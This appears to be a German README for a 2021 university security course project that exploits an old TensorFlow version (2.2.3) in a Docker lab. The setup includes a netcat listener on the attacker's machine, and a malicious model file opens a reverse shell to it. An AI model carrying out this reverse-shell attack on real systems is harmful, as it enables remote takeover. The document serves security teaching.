
TP Informationssicherheit UTN FRBA 2021
Um die Schwachstelle auszunutzen, ist es notwendig, einen Docker-Container mit einer vorbereiteten Umgebung zu starten, um Tensorflow mit einer Version 2.2.3 zu starten, die noch die Schwachstelle aufweist. Es besteht aus:
Überprüfen, ob die Maschine Docker hat, indem Sie Folgendes ausführen:
docker -v
Sobald unser Betriebssystem Docker installiert hat, führen Sie die folgenden Befehle im Stammverzeichnis dieses Repositorys aus, um die Anwendung zu bauen und zu starten:
docker-compose build
docker-compose up
Oder, um ohne Docker Compose zu starten:
docker build -t docker-exploit-tensorflow-vulnerability:1.0 . # zum Bauen des Images
docker run --add-host=host.docker.internal:host-gateway --name exploit-tensorflow-vulnerability docker-exploit-tensorflow-vulnerability:1.0 # zum Erstellen und erstmaligen Starten des Prozesses
docker start -a exploit-tensorflow-vulnerability # zum erneuten Starten des Prozesses
Damit die Reverse Shell funktioniert, muss netcat auf dem Angreifer-Rechner installiert sein und ein Listening-Port für eine SSH-Sitzung geöffnet werden. Beispiel:
nc -lvp 10000
Anschließend wird die Schwachstelle durch ein bösartiges KI-Modell ausgenutzt, wobei wir die Verbindung zum Angreifer herstellen. Die IP und der Listening-Port des Angreifers müssen in der Datei reverseShell.yaml konfiguriert werden.